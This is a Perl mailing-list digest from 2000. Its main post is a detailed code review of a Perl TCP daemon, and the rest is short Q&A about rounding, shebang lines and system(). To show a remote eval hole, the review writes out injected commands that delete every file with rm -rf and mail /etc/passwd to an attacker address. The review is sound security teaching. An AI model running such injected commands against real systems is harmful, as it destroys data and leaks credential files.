[17155] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 4567 Volume: 9

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue Oct 10 00:10:30 2000

Date: Mon, 9 Oct 2000 21:10:10 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <971151010-v9-i4567@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Mon, 9 Oct 2000     Volume: 9 Number: 4567

Today's topics:
    Re: new daemon(): comments/critiques (Mark-Jason Dominus)
        Newbie ,so sorry if im posting in the wrong place. <madmanz123@hotmail.com>
    Re: Perl Books! <elaine@chaos.wustl.edu>
    Re: Perl compiler <elaine@chaos.wustl.edu>
        perl, decimal <dsa@dassda.com>
    Re: perl, decimal <bart.lateur@skynet.be>
    Re: perl, decimal (Martien Verbruggen)
    Re: silly UNIX question <elaine@chaos.wustl.edu>
    Re: system command <ren.maddox@tivoli.com>
    Re: system command (brian d foy)
        Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Tue, 10 Oct 2000 02:09:45 GMT
From: mjd@plover.com (Mark-Jason Dominus)
Subject: Re: new daemon(): comments/critiques
Message-Id: <39e27a66.599f$397@news.op.net>
Keywords: creekside, encryption, salmon, suspend

Josiah says:
> Also, if anyone feels like it, i'd welcome even rigirous general
> syntax/style/code critique. 

OK.

> But the main thing is the security of the TCP server...

It has none.  Zero.    

Sorry, that's not right.  At present, it is a severe security
liability.  You *must* get rid of the 'eval'.  I discuss this in more
detail below.

Critique begins:

The first thing that strikes me about your function is that it's too
big, and it's going to get bigger every time you add a command to it.
I would suggest a more generic design.  The design I'm going to show
keeps the networking code in one place and the command-processing code
in another place.  That way, you can change the command-processing
code without accidentally breaking the networking code, and vice
versa.

The idea is to use a 'dispatch table', which is a hash.  The keys are
the client's possible inputs, and associated with each key is the
subroutine that deals with just that sort of input.

A typical dispatch table looks like this:

        my %table = (
          'DICT-PING'     => \&handle_dict_ping,
          'DICT-QUERY'    => \&handle_dict_query,
          'DICT-KEYS'     => \&handle_dict_keys,
          'DICT-TENSE'    => \&handle_dict_tense,
          'DICT-TYPES'    => \&handle_dict_types,
          'DICT-SET'      => \&handle_dict_set,
          'DICT-WRITEOUT' => \&handle_dict_writeout,
          'DICT-CLOSE'    => \&handle_dict_close,
          'DEFAULT'       => \&bad_command,
        );

The handler functions are going to get several arguments:

* The command from the client and the arguments to the command
* The client socket filehandle
* Network information about the client
  (The handler could get this from the filehandle, but the daemon
   might as well do this centrally for all the handlers)
* The dictionary object

The dispatch table itself is an argument to the daemon() function,
which means that tomorrow when you need to write a new damon to handle
a totally different protocol, you will hardly need to change the code
at all; you can reuse the daemon function from the dictionary project.
Also, if you decide to rewrite the structure of the daemon (to make it
handle more than one client at a time) you can do that without needing
to touch the functions that actually implement the protocol.
        
daemon() then looks something like this:

   sub daemon {
       my $dispatch = shift || die "Usage: daemon(dispatch, [port, file, local_addr])";
       my $port  = shift || 7778;
       my $file  = shift || 'words.xml';
       my $local = shift || INADDR_ANY;
       my $dict  = Lingua::EN::Dict->new(file=>$file,warn=>1);
       local (*SERVER, *CLIENT, $_);
       socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp')) 
          || die "socket: $!";
       setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1)    || die "setsockopt: $!";
       bind(SERVER, sockaddr_in($port, $local))           || die "bind: $!";
       listen(SERVER,SOMAXCONN)                           || die "listen:$!";
       logmsg "server started on port $port";
       while (my $paddr = accept(CLIENT,SERVER)) {
           my($port,$iaddr) = sockaddr_in($paddr);
           my $name = gethostbyaddr($iaddr,AF_INET);
           my $naddr = inet_ntoa($iaddr);
           my $client = { NAME => $name,   PORT => $port, 
                          ADDR => $iaddr,  NADDR => $naddr, };
           logmsg "connection from $name [$naddr] at port $port";
           while (<CLIENT>) {
             chomp; chomp;
             my ($command, $rest) = (/^([A-Z-]+):(.*)/);
             my @args = split /\s+/, $rest;
             my $handler = $dispatch->{$command} || $dispatch->{DEFAULT};
             $handler->($command, *CLIENT, $client, $dict, @args);
             last if not defined fileno CLIENT;
           }

           close CLIENT;
       }
    }

I made several changes here.  The first argument to the daemon()
function is now the dispatch table which tells it how to actually talk
to the client.  I replaced the RX_LOOP label and all the horrible
gotos with a simple and straightforward while (<CLIENT>) loop.  I exit
this loop when the client sends end-of-file or when the client socket
has been closed (last if not defined fileno CLIENT).  This means that
a handler can force the loop to terminate simply by closing the client
socket itself.

I localized $_ and the filehandles so that daemon() does not ruin any
previous values these might have had back in the calling function.  I
construct a $client object that has network information about the
client so that I can provide this to handler functions like
handle_dict_ping.

Your daemon function was 82 lines long; now it's about 30 lines long.
We'll clean it up a little more later on.


What do the handler functions look like?  They're all very simple.
For example:

        sub handle_dict_ping {
          my ($command, $fh, $client) = @_;
          print $fh "DICT-PING: Ping? Pong! : You are: $client->{NAME} [$client->{NADDR}] at port $client->{PORT}", EOL;
        }

I noticed that you call 'flush' explicitly in *every* handler function,
so I would like to get rid of it; the daemon should set up the sockets so that they flush automatically.  We do this by adding the line

        { my $ofh = select CLIENT; $| = 1; select $ofh }

in the appropriate place in the daemon.

Here's another handler:

        sub handle_dict_query {
          my ($command, $fh, $client, $dict, $word) = @_;
          local Data::Dumper::Terse = 1;
          print $fh Dumper($dict->{$word}), EOL;
        }

I used the Data::Dumper::Terse option here to get rid of the silly
s/\$VAR1 = / /g that you had, and incidentally to eliminate $dump.


        sub handle_dict_keys {
          my ($command, $fh, $client, $dict) = @_;
          print $fh makelist(keys %$dict), EOL;
        }

Here I made several changes.  I eliminated @keys, because it wasn't
doing anything except consuming extra memory.  I replaced your
impossible-to understand join with a function call, which I would
implement like this:

        sub makelist {
          '[', join(',', map "'$_'", @_), ']';
        }

I originally had the 'join' code inline in handle_dict_keys, but then
I noticed that you had the same impossible-to-understand expression in
two different places.  This calls for a separate function to encapsulate the complicated behavior.

I also think that my version is less impossible to understand.  You had:

           print CLIENT '[\''.join('\',\'',@keys).'\']', EOL;

This is awful.  You can improve it one hundred percent just by using "
instead of ' and by the consequent elimination of the backslashes:

           print CLIENT "['" . join("','", @keys) . "']", EOL;

I've always found the join "','" idiom to be puzzling, so I replaced
it with a map; this is more a matter of personal taste.  Adding the
extra white space was not a matter of personal taste.  The only good
reason for leaving it out is to increase your job security.

        sub handle_dict_tense {
          my ($command, $fh, $client, $dict, $tense) = @_;
          print $fh $dict->tense($tense), EOL;
        }

        sub handle_dict_types {
          my ($command, $fh, $client, $dict, $type) = @_;
          print $fh makelist(@{$dict->types($type)), EOL;
        }

The whitespace-trimming code back in the daemon makes your s//g's
unnecessary.  But here's a hint: s/x//g is *always* a mistake; it
should be tr/x//d.  In this case, you should have used

        $type =~ tr/\r\n//d;

instead.   makelist() makes a second appearance here. 

Now let's do DICT-SET.  You specifically asked for security advice, and this command is the security problem.  Your code was:

>          /^DICT-SET/   && do {
>           /^(DICT-SET:)([\w]+)/;
>           my $word = $2;$word =~ s/\r//g;$word =~ s/\n//g;
>           s/^(DICT-SET:$word)//g;
>           $dict->{$word} = eval;
>           $dict->{$word}->{modified_by} = { name => $name, ip =>
> inet_ntoa($iaddr) }
>            if(inet_ntoa($iaddr) ne '127.0.0.1');
>          };

Here you let anyone anywhere connect to your computer and send
arbirtrary Perl code with the DICT-SET command.  You then eval the
code.  This means (for example) that someone can connect to your
server and send

        DICT-SET:fish system("rm -rf /");

and erase every file on your system.  (Or at least, erase every file
that the daemon process has permission to erase.)  Or they might send this:

        DICT-SET:fish system("mail evil@example.com < /etc/passwd ");

and mail out a copy of your password file.  

You asked about security, and the answer is that as long as you have
this code in your daemon, you don't have any.  You might as well put a
public-access account on your system and advertise the password on
usenet.

You have to get rid of the eval; this is not negotiable.  There is no
point in asking any other security question until you do this.

I can't produce a confident suggestion about what to replace it with
because I don't know why you have it there in the first place.  I
couldn't find the code for Lingua::EN::Dict anywhere, so I don't even
know what sort of value $dict->{$word} is supposed to be.  But if it's
a hash, I suggest something more like this:

        sub handle_dict_set {
          my ($command, $fh, $client, $dict, $word, @rest) = @_;
          $dict->{$word} = { @rest };
          $dict->{$word}{modified_by} = {%$client}
            unless $client->{naddr} eq '127.0.0.1';
        }

This supposes that the client is going to send data like this:

        DICT-SET:fish key1 val1 key2 val2 ...

in which case it simply assigns the hash

        { key1 => val1, key2 => val2, ... }

Even this can be risky, depending on what use will be made of the
$dict data later on.

Notice that I've just copied all the client data into the modified_by
element, since it's available.  It's easy enough to copy just the two
parts you called for in the original code:

          $dict->{$word}{modified_by} = { name => $client->{NAME}, 
                                          ip   => $client->{NADDR}, };


        sub handle_dict_writeout {
          my ($command, $fh, $client, $dict) = @_;
          $dict->save;
        }

Here we could have abbreviated the code to:

        sub handle_dict_writeout { $_[3]->save }

We could even have eliminated the explicit function.  In the dispatch
table, instead of

          'DICT-WRITEOUT' => \&handle_dict_writeout,

we would have put:

          'DICT-WRITEOUT' => sub { $_[3]->save },

and then eliminated handle_dict_writeout() entirely.  We could also have
done this with several of the other handlers.  Whether to do this or
not is a matter of taste.  I like to do it when it makes sense,
because a dispatch table full of simple anonymous functions has the
desireable property of keeping related things in the same place.

Using a similar technique, this:

          'DICT-CLOSE' => \&handle_dict_close,
        
becomes this:

          'DICT-CLOSE' => sub { close $_[1] },

Finally, the default handler:

        sub bad_command {
          my ($command, $fh) = @_;
          print $fh "Errnoneous command: $command", EOL;
        }

This exposes a bug in your original code: In your version, if the
client sends a command like

        DICT-FRUITY-NOSEHAIRS

no error message is generated.

Now let's return to the daemon itself.  The original goal of moving
the protocol out into separately dispatched functions was to make the
daemon more general and more insulated from changes to the protocol.
We should look back at the daemon code to see if anything else will
impede that.  The client logging code jumps out immediately:

           logmsg "connection from $name [$naddr] at port $port";

If you want to change the log message format, you have to change the
daemon.  It makes sense to specify this as yet another
separately-dispatched function.  We don't want to put it in the table
of client commands, so we make a separate dispatch table for built-in
server functions:

          $server->{LOG_CONNECTION}->($client);

Then the dispatch table gets another entry:

        LOG_CONNECTION => \dict_log_connection,

which is defined like this:

        sub dict_log_connection {
          my ($client) = @_;
          my ($host, $naddr, $port) = @{$client}{'NAME','NADDR','PORT'};
          logmsg "connection from $host [$naddr] at port $port";
        }        

Similarly, we could replace the dictionary setup code with an
initialization handler.  

I made some more minor changes.  I changed the order of the arguments
to the handler functions, to put the filehandle first.  The final
version of the entire program looks like this:

   sub daemon {
       my ($conf, $disp) = @_;
       die 'Usage: daemon(CONFIG, DISPATCH)' unless defined $disp;
       my $port  = $conf->{PORT} || 7778;
       my $local = $conf->{LOCAL_ADDR} || INADDR_ANY;
       my $init  = $conf->{INITIALIZE};
       $init->($conf) if defined $init;

       local (*SERVER, *CLIENT, $_);
       socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp')) 
          || die "socket: $!";
       setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1)    || die "setsockopt: $!";
       bind(SERVER, sockaddr_in($port, $local))           || die "bind: $!";
       listen(SERVER,SOMAXCONN)                           || die "listen:$!";

       $conf->{STARTUP}->($config, $port, $local) if defined $conf->{STARTUP};
       while (my $paddr = accept(CLIENT,SERVER)) {
           my($port,$iaddr) = sockaddr_in($paddr);
           my $name = gethostbyaddr($iaddr,AF_INET);
           my $naddr = inet_ntoa($iaddr);
           my $client = { NAME => $name,   PORT => $port, 
                          ADDR => $iaddr,  NADDR => $naddr, };
           $conf->{LOG_CONNECTION}->($client) 
             if defined $conf->{LOG_CONNECTION};

           { my $ofh = select CLIENT; $| = 1; select $ofh }
           while (<CLIENT>) {
             my ($command, @args) = $conf->{SPLIT_COMMAND}->($_);
             my $handler = $disp->{$command} || $disp->{DEFAULT};
             $handler->(*CLIENT, $client, $config, $command, @args);
             last if not defined fileno CLIENT;
           }

           close CLIENT;
       }
    }

    %server_config = (
        INITIALIZE => \&dict_init,
        STARTUP => sub { logmsg "server started on port $_[1]" },
        LOG_CONNECTION => \&dict_log_connection,
        SPLIT_COMMAND => \&dict_split_command,
    );

    %dict_protocol = (
       'DICT-PING'     => \&handle_dict_ping,
       'DICT-QUERY'    => \&handle_dict_query,
       'DICT-KEYS'     => 
            sub { my ($fh, $client, $conf, $command) = @_;
                  print $fh makelist(keys %{$conf->{DICT}}), EOL; },
       'DICT-TENSE'    => 
            sub { my ($fh, $client, $conf, $command, $tense) = @_;
                  print $fh $conf->{DICT}->tense($tense), EOL; },
       'DICT-TYPES'    => 
            sub { my ($fh, $client, $conf, $command, $type) = @_;
                  print $fh makelist(@{$conf->{DICT}->types($type)}), EOL },
       'DICT-SET'      => \&handle_dict_set,
       'DICT-WRITEOUT' => sub { $_[2]{DICT}->save },
       'DICT-CLOSE'    => sub { close $_[0] },
       'DEFAULT'       => 
            sub { my ($fh, $client, $conf, $command) = @_;
                  print $fh "Erroneous command: $command", EOL; },
        );

     #### Server configuration functions

     sub dict_init {
        my ($config) = @_;
        $config->{DICT} = Lingua::EN::Dict->new(file => $config->{FILE},
                                                warn => 1, )
          or die "Couldn't create dictionary for $config->{FILE}";
     }

     sub dict_log_connection {
        my ($client) = @_;
        my ($host, $naddr, $port) = @{$client}{'NAME','NADDR','PORT'};
        logmsg "connection from $host [$naddr] at port $port";
     }        

     sub dict_split_command {        
        my ($s) = @_;
        my ($command, $args) = ($s =~ /^([A-Z-]+):(.*)/);
        my @args = split /\s+/, $args;
        ($command, @args);
     }

     #### Client protocol handlers
    
     sub handle_dict_ping {
       my ($fh, $client) = @_;
       print $fh "DICT-PING: Ping? Pong! : You are: $client->{NAME} [$client->{NADDR}] at port $client->{PORT}", EOL;
     }

      sub handle_dict_query {
        my ($fh, $client, $config, $command, $word) = @_;
        my $dict = $config->{DICT};
        local Data::Dumper::Terse = 1;
        print $fh Dumper($dict->{$word}), EOL;
      }

      sub handle_dict_set {
        my ($fh, $client, $config, $command, @rest) = @_;
        $dict->{$word} = { @rest };
        $dict->{$word}{modified_by} = {%$client}
          unless $client->{naddr} eq '127.0.0.1';
      }

      sub makelist {
        '[', join(',', map "'$_'", @_), ']';
      }


You now call the daemon code this way:

        daemon(\%server_config, \%dict_protocol);

If you want to specify an alternate port number, add 

        PORT => 1119

to the %server_config hash.  

The modified code is almost exactly the same length as the original
code. (My version has more white space.)  But:

* The server is now highly generic.  

  You can now stick the daemon() function in one file and the protocol
  functions in another file, and ignore one of them when you need to
  look at the other, and vice versa.  You could not do this before.
  This means that any particular change to the code will require you
  to look at 1/2 to 1/3 of the entire program, instead of at the whole
  thing at once.  This is a big win.

  It has a pluggable protocol: To add a dictionary command, or to
  change the client command set completely, you don't need to touch
  the networking code at all.

  It has a pluggable logging function.  You can redirect logging to a
  file or suppress it entirely without changing anything except the
  hash table.

  The main control can now be exchanged for a completely different
  daemon() function that manages the clients differently.  For
  example, you could replace daemon() with one that uses select() to
  multitask several clients simultaneously, without having to modify
  or even look at the parts of the code that manage the dictionary.
  You couldn't do this before either.

* The control flow is a lot less bizarre.  The main control in the
  daemon() function is a simple while() loop.  The only thing even a
  little weird is that a handler function can force the daemon() to
  finish a session by closing the client's socket.

* It has many bug fixes.


Hope this helps.  



------------------------------

Date: Tue, 10 Oct 2000 02:30:32 GMT
From: "madman" <madmanz123@hotmail.com>
Subject: Newbie ,so sorry if im posting in the wrong place.
Message-Id: <cbvE5.85804$4d.12396903@news02.optonline.net>

Just wanted if it was possible to make a shopping cart, written in perl or
already written in perl and modify it so that it can be used in combination
with paypal .com

Currently you go to paypal, input an items information and it generates some
html to stick on your site as a button, I just want to be able to add a
bunch of items in a shopping cart, and automatically generate a new button
for each user based upon that total generated by the shopping cart. I am
just asking theoretically, do you guys see a way for this to work? If not,
no problem.

I figure something that takes the code below and just plugs in new numbers
for "amount=" and "shipping=", and as the description, its generates a a
little summary of what is in the shopping cart. I think it would be nice for
really small companies who wanted full e-commerce and a shopping cart.

Again, just asking if this even remotally possible, or feasable. If so, I
bet some of the brilliant guys could make a really nice shopping cart
system.

All the code would be written by my server and not by paypals, so I don't
think they would mind, and transactions would appear just like they normally
would for paypal. No additional overhead (woudln't want to piss em off).



Below is a sample of the code paypal generates.
######################################
<!-- Begin PayPal Logo -->
<A
HREF="https://secure.paypal.x.com/xclick/business=jamesb%40optonline.net&ite
m_name=Stuffimselling&item_number=0004&amount=24.00&shipping=5.00&return=htt
p%3A//www.mystore.com" target="_blank"><IMG
SRC="http://images.paypal.com/images/x-click-but5.gif" BORDER="0" ALT="Make
payments with PayPal - it's fast, free and secure!"></A>
<!-- End PayPal Logo -->




------------------------------

Date: Tue, 10 Oct 2000 02:26:14 GMT
From: Elaine Ashton <elaine@chaos.wustl.edu>
Subject: Re: Perl Books!
Message-Id: <B607F683.7B78%elaine@chaos.wustl.edu>

in article 39e1e827.411347526@localhost, Ben Coleman at
oloryn@mindspring.com quoth:
> I'm going to have to agree with RMS on this one.  Piracy *is* about
> Captain Hook.  Copyright infringement has nothing to do with piracy.

Main Entry:    pi·ra·cy
Function:    noun
Date:    1537
1 : an act of robbery on the high seas; also : an act resembling such
robbery
2 : robbery on the high seas
3 : the unauthorized use of another's production, invention, or conception
especially in infringement of a copyright

e.



------------------------------

Date: Tue, 10 Oct 2000 01:54:42 GMT
From: Elaine Ashton <elaine@chaos.wustl.edu>
Subject: Re: Perl compiler
Message-Id: <B607EF23.7B77%elaine@chaos.wustl.edu>

in article 8rs5l9$kqf$1@nnrp1.deja.com, vivek@cse.iitd.ernet.in at
vivek@cse.iitd.ernet.in quoth:

> i have tried perl.com and cpan.org
> but they have got interpretors for perl
> but i am looking for a compile which can change my source code into a
> binary

If you are merely looking to prevent 'casual piracy' you might try
http://search.cpan.org/search?dist=Filter

e.



------------------------------

Date: Tue, 10 Oct 2000 10:04:42 +0800
From: DT <dsa@dassda.com>
Subject: perl, decimal
Message-Id: <MPG.144cfa1252162dcf98968a@news.cyberway.com.sg>

Hi,

I want to if there is PERL command to 
- control number of decimal place
- to trucate 

thanks


------------------------------

Date: Tue, 10 Oct 2000 02:22:07 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: perl, decimal
Message-Id: <q5v4us07up8rqlnpufr4pjvl048p2o3pld@4ax.com>

DT wrote:

>I want to if there is PERL command to 
>- control number of decimal place

	$_ = sprintf "%8.3f", "12.345678";
	print;
-->
	  12.346

(8 characters total, 3 on the right side of the decimal point)

>- to trucate 

Eh? I think you might be referring to int($n) and/or sprintf "%1d", $n

-- 
	Bart.


------------------------------

Date: Tue, 10 Oct 2000 02:26:06 GMT
From: mgjv@tradingpost.com.au (Martien Verbruggen)
Subject: Re: perl, decimal
Message-Id: <slrn8u4vhj.2ce.mgjv@verbruggen.comdyn.com.au>

On Tue, 10 Oct 2000 10:04:42 +0800,
	DT <dsa@dassda.com> wrote:
> Hi,
> 
> I want to if there is PERL command to 

Perl, if you talk about the language, perl if you talk about the
program. There is no PERL[1] that is on-topic for this group.

perldoc -q 'diff.*perl'
Found in /opt/perl/lib/5.6.0/pod/perlfaq1.pod
       What's the difference between "perl" and "Perl"?

> - control number of decimal place
> - to trucate 

Hmmm.. Are you asking for a rounding function? It's hard to be sure.

# perldoc -q round
Found in /opt/perl/lib/5.6.0/pod/perlfaq4.pod
       Does Perl have a round() function?  What about ceil() and
       floor()?  Trig functions?

Otherwise you will have to define a bit better what you mean by
the two statements above. Maybe you're actually asking for $OFMT
(described in the perlvar documentation), or maybe you're asking for
int(), described in the perlfunc documentation.

# perldoc perlvar
# perldoc -f int

Learn to use the documentation and documentation tools.

Martien

[1] http://finance.yahoo.com/q?s=PERL&d=t is the only instance of PERL
I'm aware of, and that certainly is not on-topic here.
-- 
Martien Verbruggen              | 
Interactive Media Division      | 42.6% of statistics is made up on the
Commercial Dynamics Pty. Ltd.   | spot.
NSW, Australia                  | 


------------------------------

Date: Tue, 10 Oct 2000 01:31:00 GMT
From: Elaine Ashton <elaine@chaos.wustl.edu>
Subject: Re: silly UNIX question
Message-Id: <B607E994.7B76%elaine@chaos.wustl.edu>

in article su4lufmqdnmkb8@corp.supernews.com, Randy Harris at
harrisr@bignet.net quoth:
> <cchristophe@my-deja.com> wrote in message
> news:8rtg09$o78$1@nnrp1.deja.com...
>> when I make a little script executable and run it, it does not work.
>> I have to type;
>> perl 'script name'
> 
> Make the first line of your script:
> #!/usr/bin/perl -w

or, if that isn't the issue, try:

chmod +x <script name>

e.



------------------------------

Date: 09 Oct 2000 18:06:56 -0500
From: Ren Maddox <ren.maddox@tivoli.com>
Subject: Re: system command
Message-Id: <m366n1aa27.fsf@dhcp11-177.support.tivoli.com>

"John Menke" <john@eagleinfosystems.com> writes:

> I'm answering my own question:
> 
> to capture output to a file i just use backticks...
> 
> `perl rss2html.pl $urlsource > myfile.html`;
> 
> this does the trick instead of using the system command

In that case:

system("perl rss2html.pl $urlsource > myfile.html");

should also work.  The difference is what happens with the output of
rss2html.pl -- with the backticks, it gets thrown away (unless you
save it by assigning it to something), while with system(), it goes to
STDOUT.  If the script doesn't produce any output, then this
difference is irrelevant.

-- 
Ren Maddox
ren@tivoli.com


------------------------------

Date: Mon, 09 Oct 2000 22:09:56 -0400
From: brian@smithrenaud.com (brian d foy)
Subject: Re: system command
Message-Id: <brian-ya02408000R0910002209560001@news.panix.com>

In article <m366n1aa27.fsf@dhcp11-177.support.tivoli.com>, Ren Maddox <ren.maddox@tivoli.com> posted:


> system("perl rss2html.pl $urlsource > myfile.html");


don't use the single argument version of system().  use it
in the list form:

   system( $coomand, $options, $arguments ).

-- 
brian d foy                    
CGI Meta FAQ <URL:http://www.smithrenaud.com/public/CGI_MetaFAQ.html>
Perl Mongers <URL:http://www.perl.org/>


------------------------------

Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V9 Issue 4567
**************************************


home help back first fref pref prev next nref lref last post